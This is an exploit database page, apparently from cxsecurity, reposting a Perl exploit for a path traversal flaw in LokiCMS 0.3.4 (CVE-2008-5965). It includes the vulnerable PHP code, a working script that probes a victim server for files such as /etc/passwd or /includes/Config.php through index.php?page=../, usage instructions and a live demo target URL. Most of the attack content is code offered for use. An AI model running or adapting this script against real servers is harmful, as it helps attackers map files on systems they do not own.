Index
Bugtraq
Pełna lista
Błędy
Sztuczki
Exploity
Dorks list
Tylko z CVE
Tylko z CWE
Bogus
Ranking
CVEMAP
Świeża lista CVE
Producenci
Produkty
Słownik CWE
Sprawdź nr. CVE
Sprawdź nr. CWE
Szukaj
W Bugtraq
W bazie CVE
Po autorze
Po nr. CVE
Po nr. CWE
Po producencie
Po produkcie
RSS
Bugtraq
CVEMAP
CVE Produkty
Tylko Błędy
Tylko Exploity
Tylko Dorks
Więcej
cIFrex
Facebook
Twitter
Donate
O bazie
Lang
Polish
English
Submit
LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
2009.01.27
Credit:
JosS
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2008-5965
CWE:
CWE-22
Ogólna skala CVSS:
5/10
Znaczenie:
2.9/10
Łatwość wykorzystania:
10/10
Wymagany dostęp:
Zdalny
Złożoność ataku:
Niska
Autoryzacja:
Nie wymagana
Wpływ na poufność:
Częściowy
Wpływ na integralność:
Brak
Wpływ na dostępność:
Brak
# LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit # url: http://www.lokicms.com/ # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. # # Greetz To: All Hackers and milw0rm website vulnerability: The vulnerability allows to verify the existence of the files and directories around the server. /etc/passwd (example) vuln file: index.php vuln code: ------------------------------------------------ if ( isset ( $_GET ) && isset ( $_GET['page'] ) ) $pagename = stripslashes ( trim ( $_GET['page'] ) ); // load the page if ($pagename == '') { $name = $c_default; $nosimple = true; } else { $name = $pagename; }; if ($c_simplelink == true && $nosimple != true) { $content = findpage($name); if ($content == "") {$content = $c_default;}; } else { $content = $name; }; // stupid fix due to subdomain problems if ($c_modrewrite != true && $pagename != '') {if (file_exists(PATH . "/pages/" . $content) == false) {$content = $c_default;};}; // load the menu $menu = getmenu($content, $c_modrewrite, $c_simplelink); $content = parsepage($content); ------------------------------------------------ use strict; use LWP::UserAgent; sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); } } &lw; print "#################################################################\n"; print "# LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit #\n"; print "#################################################################\n"; my $victim = $ARGV[0]; my $file = $ARGV[1]; if((!$ARGV[0]) && (!$ARGV[1])) { print "\n[x] LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit\n"; print "[x] written by JosS - sys-project[at]hotmail.com\n"; print "[x] usage: perl xpl.pl [host] [file]\n"; print "[x] example: http://localhost/loki/ /includes/Config.php\n\n"; exit(1); } print "\n[+] connecting: $victim\n"; my $cnx = LWP::UserAgent->new() or die; my $go=$cnx->get($victim."index.php?page=../$file"); if ($go->content =~ m/LokiCMS/ms) { print "[-] The file not exist\n\n"; } else { print "[!] The file exist: $file\n\n"; } # live demo: http://demo.opensourcecms.com/lokicms/
Referencje:
http://xforce.iss.net/xforce/xfdb/45822
http://www.securityfocus.com/bid/31730
http://www.milw0rm.com/exploits/6737
http://www.frsirt.com/english/advisories/2008/2798
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top